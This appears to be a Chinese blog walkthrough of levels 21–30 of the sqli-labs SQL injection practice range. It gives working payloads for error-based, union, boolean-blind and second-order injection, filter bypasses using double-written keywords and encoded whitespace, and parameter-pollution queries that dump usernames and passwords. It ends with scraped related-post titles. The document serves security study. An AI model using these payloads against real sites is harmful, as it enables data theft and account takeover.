在sqli-liabs学习SQL注入之旅(第二十一关~第三十关)
二十一关
打开这一关,开屏暴击。报错的大致意思是时区没有设置好,我们进入报错的文件,在php代码中加入中国时区的代码即可:
date_default_timezone_set("PRC");
其实不改这个也不影响我们做题目,只是有错不改看着难受而已,页面正常后,开始正题:
第一步:在账号密码框一顿输出后,发现注入点不在外面,只能登录进入里面看看,看到了页面显示了我们的UA、cookie等信息。有点类似第二十关,属于cookie注入!唯一不同的是这一关考察了一个加解密运用,cookie中使用了base64加密,所以我们上加解密工具!
在burp suite中配合加解密工具拿下这关,如下图:
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
二十二关
这一关和上一关类似,不同之处在于这一关使用双引号闭合!
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
轻松拿下这一关。
sqliabs总共65关,恭喜你,已经过了三分之一了。继续搞,别半途而废!!!
二十三关
这里简单的单引号判断参数的接受类型,页面报错!这也太简单了吧!
接下来我们使用注释 --+ 或 #让页面恢复正常看看。失败了,看来没那么容易,毕竟BOSS都是到后面才出来的。
分析下:发现 --+ 和 # 都不起作用,这里我们猜测 --+ 和 # 注释符都被过滤了,看看源码:
老方法不行,那就学个新操作,我们使用 or 1=1、and 1=1来代替 --+ 和 # 绕过。报错语句如下:
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
页面成功爆出数据库名。后面的操作就不重复了
温馨提示:这一关的操作也可以用到之前所有的关卡,只是 --+ 和 # 能用的时候更加省事!!!
二十四关
相比之前的关卡,这一关的页面添加了更改密码和注册用户功能,不难猜测,这一关要在修改密码和注册用户上面做文章!!!这关也是一个新的知识点:二次注入(标注下:重要~重要~重要~)
第一步:我们先来注册一个恶意的账户名,例如admin'# 、admin'--+、admin' or '1'='1注入的恶意账号并不是只有以上几种,具体要根据实战随机应变,不过我们要满足两个主要的点:(1)我们注册的恶意用户要存在(2)参数的接受类型闭合要准确
此时我们二次注入的第一次注入已经完成,我喜欢把第一次注入叫:注册(register)注入
第二步:登录我们注册的 admin'# 用户,我们进行一个修改密码的操作。
这里第二次注入也完成了,把admin的密码成功修改了,第二次注入可以叫做:修改注入。
所以二次注入意思就是分两次进行注入,达到我们的目的。
到了这里,小白肯定一脸懵逼!感觉像魔法一样,里面究竟发生了什么。我们来认真分析下这一关的源码:
对1分析:可以看到注册用户的sql语句,只是简单的把我们注入的用户密码插入数据库中,未做任何过滤(指的是过滤:' 、"、#、--+ 等危险符号)。
对2分析:可以看到修改用户密码的时候,只是简单的去数据库查找有没有对应的用户,如果有就修改密码成功!
分析完后,咋看之下sql语句没啥问题,但是问题在于我们注册的 admin'# 用户,在注册语句中没把我们的 ' 和 # 给阻止掉。当我们修改密码的时候,后面的sql语句变化如下:
原先:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";我们执行修改 admin'# 用户的密码为 111111 时,语句变成:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'#' and password='123456' ";可以看到,前面的语句给我们的 ' 闭合了,后面语句给我们的 # 给注释掉了,语句执行的时候变成了:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin'修改admin'#的密码,变成了修改admin的密码,所以才会发生上面admin密码被修改的那一幕!!!
这就是二次注入的原理,也是我们在二十四关学到的新技能!!!
二十五关
根据页面提示,这一关可能把 or 和 and 过滤了。我们分析这一关源码,果不其然,我们用户输入的 or 和 and 被替换成了空格,但是只过滤了一次,也是一个隐患。
第一步:我们快速判断下,参数使用了单引号闭合。开始注入语句:
分析下:
这是我们注入的语句:?id=1' order by 3--+
到了后台语句变成了:?id=1' der by 3--+既然后台过滤了我们的 or 和 and,并且之过滤一次。那我们使用叠加 or 和 and 进行绕过即可。语句如下:
?id=1' oorrder by 3--+ 页面被成功执行。
后面的步骤和之前一样,我们只要注意:我们注入的语句中有 or 或 and ,都需要叠加一下语句才能正常执行。例如,我们使用报错语句来完成这一关,语句如下:
爆数据库:?id=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1),3--+
爆表:?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1),3--+
注意:这里的 information 要构造成 infoorrmation 才能正常执行,不然执行后会变成infmation,必然报错!
还有一种方法: 使用 && 代替 and,|| 代替or绕过。
二十五a关
这一关和二十五关类似,过滤了or和and,我们依然双写绕过即可。不过这一关是数字型注入 。直接上语句:(记住infoorrmation双写or)
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()
二十六关
这一关如果不看源码的话,是非常的难注入的,我们只能使用白盒审计进行注入:
很明显,代码过滤了or、and、\*、--、#、\s、\ 和 / 还有空格。好家伙,这是不留一点机会啊!但是既然是靶场那肯定有迹可循!我们来学一点新的东西:
绕过:【利用()来代替空格】
PHP-5.2.17版本——【利用以下的编码来代替空格,从而进行绕过】:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
注意:因为要绕空格,所以之前的 limit 就不能用了,而且报错注入只能爆出32位。如果对方数据多的话,我们可以使用一个盲注中用过的函数 substr() 。
过关思路:
(1)我们把 and 换成 &&,而 && 要urlencode成 %26%26 才能成功注入,如下语句:
?id=1'%26%26updatexml(1,concat(0x7e,(database())),1)%26%26'1' ='1
(2)我们还可以把空格换成 || ,这里直接使用就能注入成功,如下语句:
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1
直接爆表名,语句如下:
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1) || '1' ='1
这里要注意一点,这里我们把空格换成 || ,在URL中是可以行得通的,但是在数据库中是行不通的,有的人可能会这样写:
?id=1' || updatexml(1,concat(0x7e,(select||group_concat(table_name)||from||infoorrmation_schema.tables||where||table_schema="security"),0x7e),1) || '1' ='1 这是一个错误的写法!不信我们可以进数据库测试下!如下图:
拓展小知识:常见的逻辑运算符有:|| 代表 or ,&& 代表 and , !代表否定。
他们的URL编码为:|| 等于 %7C%7C ,&& 等于 %26%26 ,!等于 %A3%A1 。
二十六a关
这一关和上一关是类似的,我们直接来分析一下26a关源码。
这里过滤了or、and、/、\、#、--+、空格。
第一步:从源码中我们也可以分析到参数的接受方式,尝试构造恶意语句让页面正常。?id=1')%26%26'1'=('1 页面正常
?id=1')%26%26'1'=('2 页面报错,说明我们的 %26%26 成功绕过了代码的过滤。但是还有一点,页面 没有爆出错误字段,说明我们接下来使用报错注入是没有作用的。第二步:使用布尔注入(布尔盲注、延时注入yyds,老折磨王了)
判断数据库名:?id=1')aandnd(substr((database()),1,1)='s')aandnd('1'='1
页面正常、说明数据库名第一位为 s ,后面的小伙伴们就自己判断了,根据之前关卡的经验,使用burp进行爆破。
判断表名:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.table
s)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1
爆字段:?id=1')aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,8)='emails,r')aandnd('1'='1
总结下这一关:这一关我们可以使用联合注入,具体操作小伙伴就查看下其他文章,因为这一关使用联合注入,是有一点条件限制的(如PHP版本)。
布尔注入在这一关是没有其他附加条件的。
二十七关
通过前期的快速判断,知道这一关的参数接受方式是单引号 id= ('&id'),页面无回显。
但是使用之前的联合注入、报错注入,发现这一关都无动于衷。无奈只能来进行白盒审计,直接上代码。
可以分析到union,select,空格,注释符被过滤成空格了。我们使用:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
爆出注入点:?id=0'%0aUNIon%0aSELEct%0a1,2,3%0aand%0a'1'='1
爆表名:?id=0'%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a'1'='1
后面的就不重复演示了。
二十七a关
这一关和二十七的差别在于,这一关参数接受类型是双引号。直接爆表名。
?id=0"%0aUNIon%0aSELEct%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema="security"%0aand%0a"1"="1
二十八关
分析这一关的源码
爆出字段:?id=0')union(select%0d1,2,'3
爆出所有数据库名:?id=1.1')union(select%0d1,(select(group_concat(schema_name))from(information_schema.schemata) ),'3
爆出数据:
?id=0')union(select%0d1,(select(group_concat(username,password))from(users)),'3
二十八a关
这一关和二十八关一样,我们直接爆出数据
直接爆出数据:
?id=0')union(select%0D1,(select(group_concat(username,password))from(users)),'3
二十九关
直接上报错注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) and '1'='1
如果实战中我们直接就获取出数据,然后西瓜到手了。但是靶场的目的不只是为了通关!!!我们来分析这一关的源码:
这一关考的内容是浏览器的参数污染!!!(不懂的小白可以自己百度学习”参数污染“)
我们对参数简单的判断一些,直接跳转hackerd页面。(实战中也会常常遇到页面跳转‘入侵警告’),这和我们源码中分析的一样!
使用参数污染进行注入:?id=1&id=-2' union select 1,2,3 --+
后面就是爆数据库、表、列、数据的操作!
三十关
(考点:参数污染、双引号、联合注入or其他)
这一关重复了上关的操作,作者可能为了让大家多重复几关熟悉参数污染注入吧!!!
这一关和二十九关区别就在于这一关参数接受是 双引号 ,我们直接爆出数据:
?id=1&id=0" union select 1,group_concat(username,password),3 from users--+
总结&复习 #温故而知新--+
一关到十关:
【1】我们学了SQL注入中的GET注入;
【2】考察了各种各样的参数接受方式;
【3】mysql中的多个函数使用if、sleep、outfile等等;
【4】还有文件读写注入、报错注入、布尔注入、延时注入。
十一关到二十关:
【1】我们学了SQL注入中的POST注入;
【2】考察了HTTP头部注入中的User-Agent注入、Referer注入、Cookie注入;
二十一关到三十关:
【1】我们学了加解密注入、二次注入;
【2】考察了各种关键的过滤如何绕过;
【3】各种编码%09 TAB 键(水平)、%0a 新建一行、%0c 新的一页、%0d return 功能、%0b TAB 键(垂直)、%a0 空格绕过;
【4】参数污染绕过;
在sqli-liabs学习SQL注入之旅(第二十一关~第三十关)相关推荐
- 在sqli-liabs学习SQL注入之旅(第十一关~第二十关)
十一关 可以看到十一关和之前的十关是截然不同,偶尔也得换换口味才有新鲜感嘛!话不多说,开搞! 前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题.我们在实战中应该多方面测试,两个框都 ...
- 在sqli-liabs学习SQL注入之旅(第一关~第十关)
第一关 1.联合注入 第一步:判断参数的类型?id=1' 页面报错 ?id=1' --+ 页面正常 判断参数接受类型为 字符型查看第一关源码:$sql="SELECT * FROM user ...
- 学习sql注入:猜测数据库_对于SQL的热爱:为什么要学习它以及它将如何帮助您...
学习sql注入:猜测数据库 I recently read a great article by the esteemed @craigkerstiens describing why he feel ...
- 学习sql注入:猜测数据库_面向数据科学家SQL:学习简单方法
学习sql注入:猜测数据库 We don't pick a hammer and look for nails - that would be an unusual way of solving pr ...
- 学习sql注入:猜测数据库_学习SQL:删除和更新数据SQL最佳实践
学习sql注入:猜测数据库 Deleting and updating data is very common, but if performed without taking care, which ...
- 学习sql注入:猜测数据库_学习SQL:SQL数据类型
学习sql注入:猜测数据库 What are SQL data types, why do we need them, and how to use them? Today, we'll try to ...
- 渗透学习-SQL注入篇-基础知识的学习(持续更新中)
提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...
- web安全学习-sql注入-针对mysql的攻击
文章目录 1. 前言 补充:读取客户端本地文件到服务端mysql数据库 补充:利用全局日志写shell 补充:修改mysql的root密码 补充:配置远程登录 补充:低权限下读文件 补充:高版本mys ...
- 关于DVWA的学习-SQL注入
关于DVWA的学习-SQL注入 low Background 一般的查询语句的结构如下: SELECT column_name FROM table_name WHERE ID=$id 我们输入的内容 ...
最新文章
- 【C++】algorithm具体操作记录
- 刚发现的 Wi-Fi 安全漏洞,可能危及全球所有设备!
- 东汉末年,他们把「服务雪崩」玩到了极致(干货)
- 干货︱机器学习中防止过拟合的处理方法
- 对象属性操作函数:hasattr(),getattr(),setattr()
- bzoj1096 [ZJOI2007]仓库建设
- 80行JavaScript代码实现的贪食蛇游戏,简约之美
- python3.6安装【scrapy】-最保守方法
- java程序优化快捷键_Java 代码中针对性能优化的总结方案
- 反思,今天总体感觉事情很简单,但项目比较多,没有掌握住很好的技巧,所以感觉很混乱
- WCF 第十三章 可编程站点 使用AJAX和JSON进行网页编程
- js系列教程8-事件全解
- Ubuntu22.04 Python 深度学习环境配置记录
- 分享一个电脑截动图的软件LICEcap
- NIO蔚来EC6ES6ES8智能电动汽车维修手册电路图用户手册技术信息资料
- icloud与mysql_ICloud 应用实例(一)
- 微信开放平台开发者认证
- WPF 控件 (二、按钮)
- 综述|基于深度学习的目标检测(一)
- dos环境c语言写串口程序,DOS下串口通信程序来传送文件的源代码(转)